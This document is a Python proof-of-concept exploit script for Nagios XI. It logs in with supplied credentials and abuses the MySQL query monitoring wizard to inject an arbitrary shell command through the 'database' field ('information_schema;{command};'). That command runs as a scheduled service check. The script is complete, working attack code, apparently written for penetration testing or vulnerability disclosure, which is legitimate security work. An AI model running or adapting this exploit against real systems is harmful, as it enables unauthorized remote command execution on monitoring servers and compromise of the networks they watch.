import requests import sys import re ## Usage # $ python3 monitoringservice-command-injection.py ## Example # $ python3 monitoringservice-command-injection.py http://192.168.122.9/nagiosxi nagiosadmin password123 'touch /tmp/rceproof' # [+] Service was added. Watch http://192.168.122.9/nagiosxi/includes/components/xicore/status.php?show=services for the service to appear. # [*] Make sure to delete the "command injection service" service in the dashboard.. ## Set input data url = sys.argv[1] ## Ex: http://192.168.1.123/nagiosxi/ username = sys.argv[2] password = sys.argv[3] command = sys.argv[4] ## Define some constants for use the in the payload/URL SERVICE_NAME = 'command injection service' INTERVAL = 1 LOGIN_ENDPOINT = "/login.php" CONFIGWIZARD_ENDPOINT = "/config/monitoringwizard.php" def get_nsp_str(text): nsp_match = re.search(r'var\snsp_str\s=\s"([a-f0-9]+)"', text) if nsp_match: return nsp_match.group(1) ## Start HTTP session/exploitation requests with requests.Session() as s: s.verify = False ## Proxies for Burp. Uncomment if you want to use a proxy s.proxies.update(dict.fromkeys(['http','https'],'http://127.0.0.1:8080')) ## Login section login_url = f"{url}{LOGIN_ENDPOINT}" nsp = None login_info_req = s.get(login_url) login_nsp = get_nsp_str(login_info_req.text) if not login_nsp: print("Failed to grab nsp for login") exit() ### Build login request login_data = { "nsp": login_nsp, "page": "auth", "pageopt": "login", "username": username, "password": password, "loginButton": "" } login_req = s.post(login_url, data=login_data) ### Confirm redirect to the `index.php` page if 'index.php' not in login_req.url: print("[-] Invalid credentials") exit() ### get fresh nsp for config wizard configwizard_req = s.get(f"{url}{CONFIGWIZARD_ENDPOINT}") configwizard_nsp = get_nsp_str(configwizard_req.text) ### Configuration for mysql query payload with command injection configwizard_servicecreate_payload = { "update": 1, "nsp": configwizard_nsp, "step": 3, "nextstep": 5, "wizard": "mysqlquery", "tpl": '', "hostname": "localhost", "operation": '', "selectedhostconfig": '', "services_serial": '', "serviceargs_serial": '', "config_serial": '', "ip_address": "127.0.0.1", "port": 3306, "username": "test", "password": "test", "database": f"information_schema;{command};", "hostname": "localhost", "password": "test", "queryname": SERVICE_NAME, "query": "SELECT 1", "warning": 50, "check_interval": INTERVAL, "retry_interval": INTERVAL, "critical": 200, "finishButton": '' } ### Add service for malicious mysql query configwizard_addservice_req = s.post(f"{url}{CONFIGWIZARD_ENDPOINT}", data=configwizard_servicecreate_payload) ### Some cursory checks to make sure the servie added. if configwizard_addservice_req.ok and SERVICE_NAME in configwizard_addservice_req.text: print(f"[+] Service was added. Watch {url}/includes/components/xicore/status.php?show=services for the service to appear.") print(f"[*] Make sure to delete the \"{SERVICE_NAME}\" service in the dashboard.") else: print("[-] Something failed adding the service") exit()